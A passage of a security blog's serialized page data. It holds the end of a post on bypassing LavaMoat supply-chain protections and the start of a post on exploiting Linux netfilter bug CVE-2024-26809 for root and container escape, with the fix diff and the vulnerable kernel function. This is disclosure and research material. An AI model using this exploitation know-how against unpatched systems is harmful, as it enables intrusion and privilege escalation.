7,"props":55934,"children":55935},{"style":235},[55936],{"type":29,"value":55937},")[",{"type":24,"tag":147,"props":55939,"children":55940},{"style":705},[55941],{"type":29,"value":3173},{"type":24,"tag":147,"props":55943,"children":55944},{"style":235},[55945],{"type":29,"value":55946},"].",{"type":24,"tag":147,"props":55948,"children":55949},{"style":247},[55950],{"type":29,"value":55951},"contentWindow",{"type":24,"tag":147,"props":55953,"children":55954},{"style":235},[55955],{"type":29,"value":87},{"type":24,"tag":147,"props":55957,"children":55958},{"style":229},[55959],{"type":29,"value":38298},{"type":24,"tag":147,"props":55961,"children":55962},{"style":235},[55963],{"type":29,"value":480},{"type":24,"tag":147,"props":55965,"children":55966},{"style":247},[55967],{"type":29,"value":38308},{"type":24,"tag":147,"props":55969,"children":55970},{"style":235},[55971],{"type":29,"value":87},{"type":24,"tag":147,"props":55973,"children":55974},{"style":247},[55975],{"type":29,"value":38318},{"type":24,"tag":147,"props":55977,"children":55978},{"style":235},[55979],{"type":29,"value":1473},{"type":24,"tag":43,"props":55981,"children":55983},{"id":55982},"snowjs-patch",[55984],{"type":29,"value":55985},"SnowJS Patch",{"type":24,"tag":25,"props":55987,"children":55988},{},[55989,55991,55998,56000,56007],{"type":29,"value":55990},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":2773,"props":55992,"children":55995},{"href":55993,"rel":55994},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[2777],[55996],{"type":29,"value":55997},"browser feature within W3C standards",{"type":29,"value":55999},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":2773,"props":56001,"children":56004},{"href":56002,"rel":56003},"https://github.com/weizman/Realms-Initialization-Control",[2777],[56005],{"type":29,"value":56006},"Here",{"type":29,"value":56008}," is their new proposal.",{"type":24,"tag":32,"props":56010,"children":56012},{"id":56011},"chaining-the-impacts",[56013],{"type":29,"value":56014},"Chaining The Impacts",{"type":24,"tag":25,"props":56016,"children":56017},{},[56018],{"type":29,"value":56019},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":2674,"props":56021,"children":56022},{},[56023,56028],{"type":24,"tag":2678,"props":56024,"children":56025},{},[56026],{"type":29,"value":56027},"Policy File Bypass",{"type":24,"tag":2678,"props":56029,"children":56030},{},[56031],{"type":29,"value":56032},"Scuttling Bypass",{"type":24,"tag":25,"props":56034,"children":56035},{},[56036],{"type":29,"value":56037},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":25,"props":56039,"children":56040},{},[56041],{"type":29,"value":56042},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":32,"props":56044,"children":56045},{"id":8458},[56046],{"type":29,"value":8461},{"type":24,"tag":25,"props":56048,"children":56049},{},[56050],{"type":29,"value":56051},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":36947,"props":56053,"children":56054},{"style":36949},[56055],{"type":24,"tag":63,"props":56056,"children":56059},{"src":56057,"alt":56058,"style":36955},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":24029,"props":56061,"children":56063},{"className":56062,"dataFootnotes":7},[24032],[56064,56069],{"type":24,"tag":32,"props":56065,"children":56067},{"className":56066,"id":21092},[24037],[56068],{"type":29,"value":24040},{"type":24,"tag":2674,"props":56070,"children":56071},{},[56072],{"type":24,"tag":2678,"props":56073,"children":56074},{"id":35967},[56075,56077,56084,56085],{"type":29,"value":56076},"Excluding SES, which was covered ",{"type":24,"tag":2773,"props":56078,"children":56081},{"href":56079,"rel":56080},"https://osec.io/blog/2023-11-01-metamask-snaps",[2777],[56082],{"type":29,"value":56083},"in our last article",{"type":29,"value":12083},{"type":24,"tag":2773,"props":56086,"children":56088},{"href":35995,"ariaLabel":24143,"className":56087,"dataFootnoteBackref":7},[24145],[56089],{"type":29,"value":24148},{"type":24,"tag":8473,"props":56091,"children":56092},{},[56093],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":56095},[56096,56100,56106,56112,56113,56114],{"id":24562,"depth":160,"text":24565,"children":56097},[56098,56099],{"id":34617,"depth":169,"text":34620},{"id":52720,"depth":169,"text":52723},{"id":53475,"depth":160,"text":53478,"children":56101},[56102,56103,56104,56105],{"id":53726,"depth":169,"text":53729},{"id":54200,"depth":169,"text":54203},{"id":54857,"depth":169,"text":54860},{"id":54979,"depth":169,"text":54982},{"id":55097,"depth":160,"text":55100,"children":56107},[56108,56109,56110,56111],{"id":55225,"depth":169,"text":55228},{"id":55587,"depth":169,"text":55590},{"id":55747,"depth":169,"text":55750},{"id":55982,"depth":169,"text":55985},{"id":56011,"depth":160,"text":56014},{"id":8458,"depth":160,"text":8461},{"id":21092,"depth":160,"text":24040},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":56119,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":56120,"description":56121,"author":56122,"image":56123,"date":56125,"isFeatured":16,"tags":56126,"onBlogPage":16,"body":56129,"_type":8496,"_id":66492,"_source":8498,"_file":66493,"_stem":66494,"_extension":8501},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":56124,"height":14887,"width":11348},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[56127,56128],"kernal","linux",{"type":21,"children":56130,"toc":66460},[56131,56144,56158,56163,56169,56179,56184,56190,56195,56213,56227,56236,56269,56274,56280,56299,56332,56338,56351,56560,56627,57187,57206,57430,57489,57495,57515,57555,57742,57747,57898,57954,57959,58472,58491,58760,58786,59295,59362,59368,59404,59409,59675,59708,59720,59747,59759,59764,59770,59791,59797,59818,59841,60672,60678,60718,61256,61267,61301,61368,61422,61654,61660,61704,62168,62174,62185,62215,62298,62303,62308,62344,62396,62427,62982,62988,63005,63011,63016,63022,63050,63242,63262,63278,63872,63878,63912,63935,63947,63953,63981,64576,64601,65570,65581,65594,65607,66371,66385,66391,66403,66409,66437,66442,66446,66451,66456],{"type":24,"tag":25,"props":56132,"children":56133},{},[56134,56136,56143],{"type":29,"value":56135},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":2773,"props":56137,"children":56140},{"href":56138,"rel":56139},"https://google.github.io/security-research/kernelctf/rules.html",[2777],[56141],{"type":29,"value":56142},"KernelCTF VRP",{"type":29,"value":87},{"type":24,"tag":25,"props":56145,"children":56146},{},[56147,56149,56156],{"type":29,"value":56148},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":2773,"props":56150,"children":56153},{"href":56151,"rel":56152},"https://github.com/conlonialC",[2777],[56154],{"type":29,"value":56155},"lonial con",{"type":29,"value":56157},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":25,"props":56159,"children":56160},{},[56161],{"type":29,"value":56162},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":32,"props":56164,"children":56166},{"id":56165},"the-kernel",[56167],{"type":29,"value":56168},"The kernel",{"type":24,"tag":25,"props":56170,"children":56171},{},[56172,56174],{"type":29,"value":56173},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":63,"props":56175,"children":56178},{"alt":56176,"src":56177},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":25,"props":56180,"children":56181},{},[56182],{"type":29,"value":56183},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":43,"props":56185,"children":56187},{"id":56186},"kernel-exploitation",[56188],{"type":29,"value":56189},"Kernel exploitation",{"type":24,"tag":25,"props":56191,"children":56192},{},[56193],{"type":29,"value":56194},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":22292,"props":56196,"children":56197},{},[56198,56203,56208],{"type":24,"tag":2678,"props":56199,"children":56200},{},[56201],{"type":29,"value":56202},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":2678,"props":56204,"children":56205},{},[56206],{"type":29,"value":56207},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":2678,"props":56209,"children":56210},{},[56211],{"type":29,"value":56212},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":25,"props":56214,"children":56215},{},[56216,56218,56225],{"type":29,"value":56217},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":2773,"props":56219,"children":56222},{"href":56220,"rel":56221},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[2777],[56223],{"type":29,"value":56224},"blog post",{"type":29,"value":56226}," to become more familiar with the topic.",{"type":24,"tag":32,"props":56228,"children":56230},{"id":56229},"nf_tables",[56231],{"type":24,"tag":80,"props":56232,"children":56234},{"className":56233},[],[56235],{"type":29,"value":56229},{"type":24,"tag":25,"props":56237,"children":56238},{},[56239,56244,56246,56252,56253,56259,56261,56267],{"type":24,"tag":80,"props":56240,"children":56242},{"className":56241},[],[56243],{"type":29,"value":56229},{"type":29,"value":56245}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":2773,"props":56247,"children":56250},{"href":56248,"rel":56249},"https://pwning.tech/nftables",[2777],[56251],{"type":29,"value":1154},{"type":29,"value":546},{"type":24,"tag":2773,"props":56254,"children":56257},{"href":56255,"rel":56256},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[2777],[56258],{"type":29,"value":8753},{"type":29,"value":56260},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":80,"props":56262,"children":56264},{"className":56263},[],[56265],{"type":29,"value":56266},"nf_table",{"type":29,"value":56268}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":25,"props":56270,"children":56271},{},[56272],{"type":29,"value":56273},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":43,"props":56275,"children":56277},{"id":56276},"transactions",[56278],{"type":29,"value":56279},"Transactions",{"type":24,"tag":25,"props":56281,"children":56282},{},[56283,56285,56290,56292,56297],{"type":29,"value":56284},"A transaction is an interaction that updates ",{"type":24,"tag":80,"props":56286,"children":56288},{"className":56287},[],[56289],{"type":29,"value":56229},{"type":29,"value":56291}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":80,"props":56293,"children":56295},{"className":56294},[],[56296],{"type":29,"value":56229},{"type":29,"value":56298}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":22292,"props":56300,"children":56301},{},[56302,56312,56322],{"type":24,"tag":2678,"props":56303,"children":56304},{},[56305,56310],{"type":24,"tag":10949,"props":56306,"children":56307},{},[56308],{"type":29,"value":56309},"Control plane",{"type":29,"value":56311},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":2678,"props":56313,"children":56314},{},[56315,56320],{"type":24,"tag":10949,"props":56316,"children":56317},{},[56318],{"type":29,"value":56319},"Commit path",{"type":29,"value":56321},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":2678,"props":56323,"children":56324},{},[56325,56330],{"type":24,"tag":10949,"props":56326,"children":56327},{},[56328],{"type":29,"value":56329},"Abort path",{"type":29,"value":56331},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":32,"props":56333,"children":56335},{"id":56334},"vulnerability-details",[56336],{"type":29,"value":56337},"Vulnerability details",{"type":24,"tag":25,"props":56339,"children":56340},{},[56341,56343,56349],{"type":29,"value":56342},"Moving on, let's check out the ",{"type":24,"tag":2773,"props":56344,"children":56347},{"href":56345,"rel":56346},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[2777],[56348],{"type":29,"value":9851},{"type":29,"value":56350}," that fixed the bug.",{"type":24,"tag":137,"props":56352,"children":56354},{"className":45956,"code":56353,"language":45958,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[56355],{"type":24,"tag":80,"props":56356,"children":56357},{"__ignoreMap":7},[56358,56366,56374,56382,56390,56398,56405,56413,56420,56428,56436,56444,56452,56459,56467,56475,56483,56491,56499,56507,56514,56522,56530,56538,56545,56552],{"type":24,"tag":147,"props":56359,"children":56360},{"class":149,"line":150},[56361],{"type":24,"tag":147,"props":56362,"children":56363},{"style":218},[56364],{"type":29,"value":56365},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":147,"props":56367,"children":56368},{"class":149,"line":160},[56369],{"type":24,"tag":147,"props":56370,"children":56371},{"style":235},[56372],{"type":29,"value":56373},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":147,"props":56375,"children":56376},{"class":149,"line":169},[56377],{"type":24,"tag":147,"props":56378,"children":56379},{"style":218},[56380],{"type":29,"value":56381},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":147,"props":56383,"children":56384},{"class":149,"line":178},[56385],{"type":24,"tag":147,"props":56386,"children":56387},{"style":218},[56388],{"type":29,"value":56389},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":147,"props":56391,"children":56392},{"class":149,"line":187},[56393],{"type":24,"tag":147,"props":56394,"children":56395},{"style":235},[56396],{"type":29,"value":56397},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":147,"props":56399,"children":56400},{"class":149,"line":196},[56401],{"type":24,"tag":147,"props":56402,"children":56403},{"emptyLinePlaceholder":16},[56404],{"type":29,"value":314},{"type":24,"tag":147,"props":56406,"children":56407},{"class":149,"line":205},[56408],{"type":24,"tag":147,"props":56409,"children":56410},{"style":235},[56411],{"type":29,"value":56412},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":147,"props":56414,"children":56415},{"class":149,"line":214},[56416],{"type":24,"tag":147,"props":56417,"children":56418},{"emptyLinePlaceholder":16},[56419],{"type":29,"value":314},{"type":24,"tag":147,"props":56421,"children":56422},{"class":149,"line":272},[56423],{"type":24,"tag":147,"props":56424,"children":56425},{"style":235},[56426],{"type":29,"value":56427},"  if (m) {\n",{"type":24,"tag":147,"props":56429,"children":56430},{"class":149,"line":281},[56431],{"type":24,"tag":147,"props":56432,"children":56433},{"style":235},[56434],{"type":29,"value":56435},"   rcu_barrier();\n",{"type":24,"tag":147,"props":56437,"children":56438},{"class":149,"line":299},[56439],{"type":24,"tag":147,"props":56440,"children":56441},{"style":235},[56442],{"type":29,"value":56443}," \n",{"type":24,"tag":147,"props":56445,"children":56446},{"class":149,"line":308},[56447],{"type":24,"tag":147,"props":56448,"children":56449},{"style":3534},[56450],{"type":29,"value":56451},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":147,"props":56453,"children":56454},{"class":149,"line":317},[56455],{"type":24,"tag":147,"props":56456,"children":56457},{"style":3534},[56458],{"type":29,"value":569},{"type":24,"tag":147,"props":56460,"children":56461},{"class":149,"line":332},[56462],{"type":24,"tag":147,"props":56463,"children":56464},{"style":235},[56465],{"type":29,"value":56466},"   for_each_possible_cpu(cpu)\n",{"type":24,"tag":147,"props":56468,"children":56469},{"class":149,"line":350},[56470],{"type":24,"tag":147,"props":56471,"children":56472},{"style":235},[56473],{"type":29,"value":56474},"    pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":147,"props":56476,"children":56477},{"class":149,"line":358},[56478],{"type":24,"tag":147,"props":56479,"children":56480},{"style":235},[56481],{"type":29,"value":56482},"   free_percpu(m->scratch);\n",{"type":24,"tag":147,"props":56484,"children":56485},{"class":149,"line":397},[56486],{"type":24,"tag":147,"props":56487,"children":56488},{"style":235},[56489],{"type":29,"value":56490},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":147,"props":56492,"children":56493},{"class":149,"line":421},[56494],{"type":24,"tag":147,"props":56495,"children":56496},{"style":235},[56497],{"type":29,"value":56498},"  if (priv->clone) {\n",{"type":24,"tag":147,"props":56500,"children":56501},{"class":149,"line":435},[56502],{"type":24,"tag":147,"props":56503,"children":56504},{"style":235},[56505],{"type":29,"value":56506},"   m = priv->clone;\n",{"type":24,"tag":147,"props":56508,"children":56509},{"class":149,"line":444},[56510],{"type":24,"tag":147,"props":56511,"children":56512},{"style":235},[56513],{"type":29,"value":56443},{"type":24,"tag":147,"props":56515,"children":56516},{"class":149,"line":452},[56517],{"type":24,"tag":147,"props":56518,"children":56519},{"style":3534},[56520],{"type":29,"value":56521},"-  if (priv->dirty)\n",{"type":24,"tag":147,"props":56523,"children":56524},{"class":149,"line":461},[56525],{"type":24,"tag":147,"props":56526,"children":56527},{"style":3534},[56528],{"type":29,"value":56529},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":147,"props":56531,"children":56532},{"class":149,"line":469},[56533],{"type":24,"tag":147,"props":56534,"children":56535},{"style":705},[56536],{"type":29,"value":56537},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":147,"props":56539,"children":56540},{"class":149,"line":508},[56541],{"type":24,"tag":147,"props":56542,"children":56543},{"style":235},[56544],{"type":29,"value":56443},{"type":24,"tag":147,"props":56546,"children":56547},{"class":149,"line":572},[56548],{"type":24,"tag":147,"props":56549,"children":56550},{"style":235},[56551],{"type":29,"value":56466},{"type":24,"tag":147,"props":56553,"children":56554},{"class":149,"line":591},[56555],{"type":24,"tag":147,"props":56556,"children":56557},{"style":235},[56558],{"type":29,"value":56559},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":25,"props":56561,"children":56562},{},[56563,56565,56571,56572,56578,56580,56586,56588,56594,56596,56601,56603,56609,56611,56617,56619,56625],{"type":29,"value":56564},"If the ",{"type":24,"tag":80,"props":56566,"children":56568},{"className":56567},[],[56569],{"type":29,"value":56570},"priv->dirty",{"type":29,"value":855},{"type":24,"tag":80,"props":56573,"children":56575},{"className":56574},[],[56576],{"type":29,"value":56577},"priv->clone",{"type":29,"value":56579}," variables are set, ",{"type":24,"tag":80,"props":56581,"children":56583},{"className":56582},[],[56584],{"type":29,"value":56585},"nft_set_pipapo_match_destroy()",{"type":29,"value":56587}," is called twice, once with ",{"type":24,"tag":80,"props":56589,"children":56591},{"className":56590},[],[56592],{"type":29,"value":56593},"priv->match",{"type":29,"value":56595}," as an argument, and then again with ",{"type":24,"tag":80,"props":56597,"children":56599},{"className":56598},[],[56600],{"type":29,"value":56577},{"type":29,"value":56602},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":80,"props":56604,"children":56606},{"className":56605},[],[56607],{"type":29,"value":56608},"setelem",{"type":29,"value":56610},"s of the ",{"type":24,"tag":80,"props":56612,"children":56614},{"className":56613},[],[56615],{"type":29,"value":56616},"set",{"type":29,"value":56618}," and calling ",{"type":24,"tag":80,"props":56620,"children":56622},{"className":56621},[],[56623],{"type":29,"value":56624},"nf_tables_set_elem_destroy()",{"type":29,"value":56626}," for each of them.",{"type":24,"tag":137,"props":56628,"children":56630},{"className":141,"code":56629,"language":140,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[56631],{"type":24,"tag":80,"props":56632,"children":56633},{"__ignoreMap":7},[56634,56679,56707,56733,56740,56760,56773,56780,56876,56884,56891,56946,56967,56974,57077,57089,57096,57132,57139,57173,57180],{"type":24,"tag":147,"props":56635,"children":56636},{"class":149,"line":150},[56637,56641,56645,56650,56654,56658,56662,56667,56671,56675],{"type":24,"tag":147,"props":56638,"children":56639},{"style":218},[56640],{"type":29,"value":221},{"type":24,"tag":147,"props":56642,"children":56643},{"style":218},[56644],{"type":29,"value":226},{"type":24,"tag":147,"props":56646,"children":56647},{"style":229},[56648],{"type":29,"value":56649}," nft_set_pipapo_match_destroy",{"type":24,"tag":147,"props":56651,"children":56652},{"style":235},[56653],{"type":29,"value":480},{"type":24,"tag":147,"props":56655,"children":56656},{"style":218},[56657],{"type":29,"value":15276},{"type":24,"tag":147,"props":56659,"children":56660},{"style":218},[56661],{"type":29,"value":26753},{"type":24,"tag":147,"props":56663,"children":56664},{"style":235},[56665],{"type":29,"value":56666}," nft_ctx ",{"type":24,"tag":147,"props":56668,"children":56669},{"style":241},[56670],{"type":29,"value":244},{"type":24,"tag":147,"props":56672,"children":56673},{"style":247},[56674],{"type":29,"value":25884},{"type":24,"tag":147,"props":56676,"children":56677},{"style":235},[56678],{"type":29,"value":1549},{"type":24,"tag":147,"props":56680,"children":56681},{"class":149,"line":160},[56682,56686,56690,56695,56699,56703],{"type":24,"tag":147,"props":56683,"children":56684},{"style":218},[56685],{"type":29,"value":37147},{"type":24,"tag":147,"props":56687,"children":56688},{"style":218},[56689],{"type":29,"value":26753},{"type":24,"tag":147,"props":56691,"children":56692},{"style":235},[56693],{"type":29,"value":56694}," nft_set ",{"type":24,"tag":147,"props":56696,"children":56697},{"style":241},[56698],{"type":29,"value":244},{"type":24,"tag":147,"props":56700,"children":56701},{"style":247},[56702],{"type":29,"value":56616},{"type":24,"tag":147,"props":56704,"children":56705},{"style":235},[56706],{"type":29,"value":1549},{"type":24,"tag":147,"props":56708,"children":56709},{"class":149,"line":169},[56710,56715,56720,56724,56729],{"type":24,"tag":147,"props":56711,"children":56712},{"style":218},[56713],{"type":29,"value":56714},"      struct",{"type":24,"tag":147,"props":56716,"children":56717},{"style":235},[56718],{"type":29,"value":56719}," nft_pipapo_match ",{"type":24,"tag":147,"props":56721,"children":56722},{"style":241},[56723],{"type":29,"value":244},{"type":24,"tag":147,"props":56725,"children":56726},{"style":247},[56727],{"type":29,"value":56728},"m",{"type":24,"tag":147,"props":56730,"children":56731},{"style":235},[56732],{"type":29,"value":269},{"type":24,"tag":147,"props":56734,"children":56735},{"class":149,"line":178},[56736],{"type":24,"tag":147,"props":56737,"children":56738},{"style":235},[56739],{"type":29,"value":278},{"type":24,"tag":147,"props":56741,"children":56742},{"class":149,"line":187},[56743,56747,56752,56756],{"type":24,"tag":147,"props":56744,"children":56745},{"style":218},[56746],{"type":29,"value":26753},{"type":24,"tag":147,"props":56748,"children":56749},{"style":235},[56750],{"type":29,"value":56751}," nft_pipapo_field ",{"type":24,"tag":147,"props":56753,"children":56754},{"style":241},[56755],{"type":29,"value":244},{"type":24,"tag":147,"props":56757,"children":56758},{"style":235},[56759],{"type":29,"value":6907},{"type":24,"tag":147,"props":56761,"children":56762},{"class":149,"line":196},[56763,56768],{"type":24,"tag":147,"props":56764,"children":56765},{"style":218},[56766],{"type":29,"value":56767}," int",{"type":24,"tag":147,"props":56769,"children":56770},{"style":235},[56771],{"type":29,"value":56772}," i, r;\n",{"type":24,"tag":147,"props":56774,"children":56775},{"class":149,"line":205},[56776],{"type":24,"tag":147,"props":56777,"children":56778},{"emptyLinePlaceholder":16},[56779],{"type":29,"value":314},{"type":24,"tag":147,"props":56781,"children":56782},{"class":149,"line":214},[56783,56788,56793,56797,56801,56806,56810,56815,56819,56823,56828,56832,56836,56840,56845,56849,56853,56858,56863,56868,56872],{"type":24,"tag":147,"props":56784,"children":56785},{"style":321},[56786],{"type":29,"value":56787}," for",{"type":24,"tag":147,"props":56789,"children":56790},{"style":235},[56791],{"type":29,"value":56792}," (i ",{"type":24,"tag":147,"props":56794,"children":56795},{"style":241},[56796],{"type":29,"value":369},{"type":24,"tag":147,"props":56798,"children":56799},{"style":705},[56800],{"type":29,"value":708},{"type":24,"tag":147,"props":56802,"children":56803},{"style":235},[56804],{"type":29,"value":56805},", f ",{"type":24,"tag":147,"props":56807,"children":56808},{"style":241},[56809],{"type":29,"value":369},{"type":24,"tag":147,"props":56811,"children":56812},{"style":247},[56813],{"type":29,"value":56814}," m",{"type":24,"tag":147,"props":56816,"children":56817},{"style":235},[56818],{"type":29,"value":495},{"type":24,"tag":147,"props":56820,"children":56821},{"style":247},[56822],{"type":29,"value":6999},{"type":24,"tag":147,"props":56824,"children":56825},{"style":235},[56826],{"type":29,"value":56827},"; i ",{"type":24,"tag":147,"props":56829,"children":56830},{"style":241},[56831],{"type":29,"value":3583},{"type":24,"tag":147,"props":56833,"children":56834},{"style":247},[56835],{"type":29,"value":56814},{"type":24,"tag":147,"props":56837,"children":56838},{"style":235},[56839],{"type":29,"value":495},{"type":24,"tag":147,"props":56841,"children":56842},{"style":247},[56843],{"type":29,"value":56844},"field_count",{"type":24,"tag":147,"props":56846,"children":56847},{"style":241},[56848],{"type":29,"value":1791},{"type":24,"tag":147,"props":56850,"children":56851},{"style":705},[56852],{"type":29,"value":10147},{"type":24,"tag":147,"props":56854,"children":56855},{"style":235},[56856],{"type":29,"value":56857},"; i",{"type":24,"tag":147,"props":56859,"children":56860},{"style":241},[56861],{"type":29,"value":56862},"++",{"type":24,"tag":147,"props":56864,"children":56865},{"style":235},[56866],{"type":29,"value":56867},", f",{"type":24,"tag":147,"props":56869,"children":56870},{"style":241},[56871],{"type":29,"value":56862},{"type":24,"tag":147,"props":56873,"children":56874},{"style":235},[56875],{"type":29,"value":269},{"type":24,"tag":147,"props":56877,"children":56878},{"class":149,"line":272},[56879],{"type":24,"tag":147,"props":56880,"children":56881},{"style":235},[56882],{"type":29,"value":56883},"  ;\n",{"type":24,"tag":147,"props":56885,"children":56886},{"class":149,"line":281},[56887],{"type":24,"tag":147,"props":56888,"children":56889},{"emptyLinePlaceholder":16},[56890],{"type":29,"value":314},{"type":24,"tag":147,"props":56892,"children":56893},{"class":149,"line":299},[56894,56898,56903,56907,56911,56916,56920,56924,56928,56933,56938,56942],{"type":24,"tag":147,"props":56895,"children":56896},{"style":321},[56897],{"type":29,"value":56787},{"type":24,"tag":147,"props":56899,"children":56900},{"style":235},[56901],{"type":29,"value":56902}," (r ",{"type":24,"tag":147,"props":56904,"children":56905},{"style":241},[56906],{"type":29,"value":369},{"type":24,"tag":147,"props":56908,"children":56909},{"style":705},[56910],{"type":29,"value":708},{"type":24,"tag":147,"props":56912,"children":56913},{"style":235},[56914],{"type":29,"value":56915},"; r ",{"type":24,"tag":147,"props":56917,"children":56918},{"style":241},[56919],{"type":29,"value":3583},{"type":24,"tag":147,"props":56921,"children":56922},{"style":247},[56923],{"type":29,"value":38572},{"type":24,"tag":147,"props":56925,"children":56926},{"style":235},[56927],{"type":29,"value":495},{"type":24,"tag":147,"props":56929,"children":56930},{"style":247},[56931],{"type":29,"value":56932},"rules",{"type":24,"tag":147,"props":56934,"children":56935},{"style":235},[56936],{"type":29,"value":56937},"; 